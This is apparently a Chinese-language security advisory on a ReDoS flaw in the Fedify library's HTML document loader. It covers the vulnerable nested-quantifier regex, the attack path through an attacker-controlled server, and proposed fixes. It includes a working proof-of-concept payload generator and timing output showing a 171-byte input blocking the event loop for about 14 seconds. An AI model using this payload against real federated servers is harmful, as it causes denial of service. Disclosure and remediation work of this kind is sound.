Fedify 正则表达式存在 ReDoS 漏洞:HTML 解析效率低下导致拒绝服务攻击

本文详细分析了Fedify库中一个高危的ReDoS漏洞。该漏洞源于HTML解析所使用的正则表达式存在嵌套量词,攻击者可通过小型恶意负载导致服务事件循环长时间阻塞,实现拒绝服务攻击。

漏洞概要

Fedify 的文档加载器中存在一个正则表达式拒绝服务漏洞。位于 packages/fedify/src/runtime/docloader.ts:259 的 HTML 解析正则表达式包含嵌套的量词,在处理恶意构造的 HTML 响应时会导致灾难性的回溯。攻击者控制的联合服务器可以响应一个约170字节的恶意 HTML 负载,使受害者 Node.js 的事件循环阻塞超过 14 秒,从而导致拒绝服务。

漏洞详情

漏洞代码 漏洞位于 packages/fedify/src/runtime/docloader.ts 的第 258-264 行:

1
2
3
4
5
6
// 第 258-259 行:包含嵌套量词的漏洞正则表达式
const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
// 第 261 行:对响应体没有大小限制
const html = await response.text();
// 第 264 行:正则表达式执行循环
while ((m = p.exec(html)) !== null) rawAttribs.push(m[2]);

根本原因分析 该正则表达式具有嵌套量词和交替结构,是典型的 ReDoS 模式: /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig

  • 外部量词((\s+...)+) - 匹配一个或多个属性组
  • 内部交替("[^"]*"|'[^']*'|[^\s>]+) - 匹配属性值的多种方式 当正则表达式无法匹配时,引擎会以指数方式回溯,尝试嵌套模式所有可能的匹配方式。

攻击向量

  1. 受害者的 Fedify 应用程序调用 lookupObject("https://attacker.com/@user") 来获取参与者资料。
  2. 攻击者的服务器以 Content-Type: text/html 响应。
  3. 代码路径:lookupObject()documentLoader()getRemoteDocument() → HTML 解析(第 258-287 行)。
  4. 第 261 行:response.text() 在无大小限制的情况下读取整个响应体。
  5. 第 264 行:正则表达式执行触发灾难性回溯。
  6. 事件循环被阻塞数秒至数分钟,导致拒绝服务。

可利用性分析

  • 无响应大小限制:通过 response.text() 读取整个 HTML 体,没有进行内容长度验证。
  • 默认无超时设置AbortSignal 是可选的且未强制执行。
  • 远程利用:攻击者只需要受害者从其 URL 获取内容。
  • 无需身份验证:联合通常涉及从不受信任的服务器获取资料。
  • 可被放大:多个并发请求可使服务完全瘫痪。

概念验证

快速复现 (Node.js) 可以通过以下独立脚本验证此漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// 来自 docloader.ts:259 的漏洞正则表达式
const VULNERABLE_REGEX = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;

// 生成恶意 HTML 负载
function generateMaliciousPayload(repetitions) {
  return '<a' + ' a="b"'.repeat(repetitions) + ' ';
}

// 模拟 docloader.ts 中的漏洞代码路径
function simulateVulnerableCodePath(html) {
  const p = /<(a|link)((\s+[a-z][a-z:_-]*=("[^"]*"|'[^']*'|[^\s>]+))+)\s*\/?>/ig;
  let m;
  const rawAttribs = [];
  while ((m = p.exec(html)) !== null) {
    rawAttribs.push(m[2]);
  }
  return rawAttribs;
}

// 测试不同负载大小的响应时间
console.log('Fedify ReDoS 漏洞概念验证\n');
console.log('重复次数 | 负载大小 | 耗时');
console.log('------------|--------------|--------');

for (const reps of [18, 20, 22, 24, 26, 28]) {
  const payload = generateMaliciousPayload(reps);
  const start = performance.now();
  simulateVulnerableCodePath(payload);
  const elapsed = performance.now() - start;
  
  const timeStr = elapsed >= 1000 
    ? `${(elapsed / 1000).toFixed(2)}秒` 
    : `${elapsed.toFixed(0)}毫秒`;
  
  console.log(`${String(reps).padEnd(11)} | ${String(payload.length + ' 字节').padEnd(12)} | ${timeStr}`);
  
  // 如果耗时过长则停止
  if (elapsed > 15000) break;
}

预期输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
Fedify ReDoS 漏洞概念验证

重复次数 | 负载大小 | 耗时
------------|--------------|--------
18          | 111 字节     | 14毫秒
20          | 123 字节     | 51毫秒
22          | 135 字节     | 224毫秒
24          | 147 字节     | 852毫秒
26          | 159 字节     | 3.26秒
28          | 171 字节     | 14.10秒

时间大约每增加 2 次重复就变为原来的 4 倍,这证明了 O(2^n) 的复杂度。

影响范围

受影响方

  • 所有使用 lookupObject()getDocumentLoader() 或内置文档加载器从外部 URL 获取内容的 Fedify 应用程序。
  • 任何从可能不受信任的来源获取参与者资料、帖子或其他 ActivityPub 对象的联合服务器。
  • 遵循标准联合模式的服务器——获取远程参与者是正常操作。

严重性评估

因素 评估
攻击向量 网络(远程)
攻击复杂性 低(简单负载)
所需权限
用户交互
影响 可用性(DoS)
范围 整个服务

真实世界场景

  1. 一个由 Fedify 驱动的 Mastodon 兼容服务器收到来自 @attacker@evil.com 的关注请求或提及。
  2. 服务器尝试通过 lookupObject() 获取攻击者的个人资料。
  3. 攻击者的服务器以恶意 HTML 响应。
  4. 受害者服务器的事件循环被阻塞超过 14 秒。
  5. 在此期间,所有其他请求都会排队并可能超时。
  6. 重复攻击可导致持续的服务不可用。

建议的修复方案

方案 1:使用适当的 HTML 解析器(推荐) 使用 DOM 解析器替换基于正则表达式的 HTML 解析,这样可以避免回溯问题:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 使用 linkedom(轻量级 DOM 实现)
import { parseHTML } from 'linkedom';

// 将第 258-287 行替换为:
const { document } = parseHTML(html);
const links = document.querySelectorAll('a[rel="alternate"], link[rel="alternate"]');

for (const link of links) {
  const type = link.getAttribute('type');
  const href = link.getAttribute('href');
  
  if (
    href &&
    (type === 'application/activity+json' ||
     type === 'application/ld+json' ||
     type?.startsWith('application/ld+json;'))
  ) {
    const altUri = new URL(href, docUrl);
    if (altUri.href !== docUrl.href) {
      return await fetch(altUri.href);
    }
  }
}

方案 2:添加响应大小限制 如果必须使用正则表达式,至少应添加大小限制:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
const MAX_HTML_SIZE = 1024 * 1024; // 1MB
const contentLength = parseInt(response.headers.get('content-length') || '0');

if (contentLength > MAX_HTML_SIZE) {
  throw new FetchError(url, '响应过大');
}

const html = await response.text();
if (html.length > MAX_HTML_SIZE) {
  throw new FetchError(url, '响应过大');
}

方案 3:重构正则表达式 如果倾向于使用正则表达式方法,可以使用原子分组或占有量词,或者重构以避免嵌套量词:

1
2
3
// 使用非回溯方法进行显式属性匹配
const tagPattern = /<(a|link)\s+([^>]+)>/ig;
const attrPattern = /([a-z][a-z:_-]*)=(?:"([^"]*)"|'([^']*)'|(\S+))/ig;

参考资料

  • OWASP:正则表达式拒绝服务 (ReDoS)
  • CWE-1333:低效的正则表达式复杂度
  • Cloudflare 中断分析(ReDoS 示例)
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计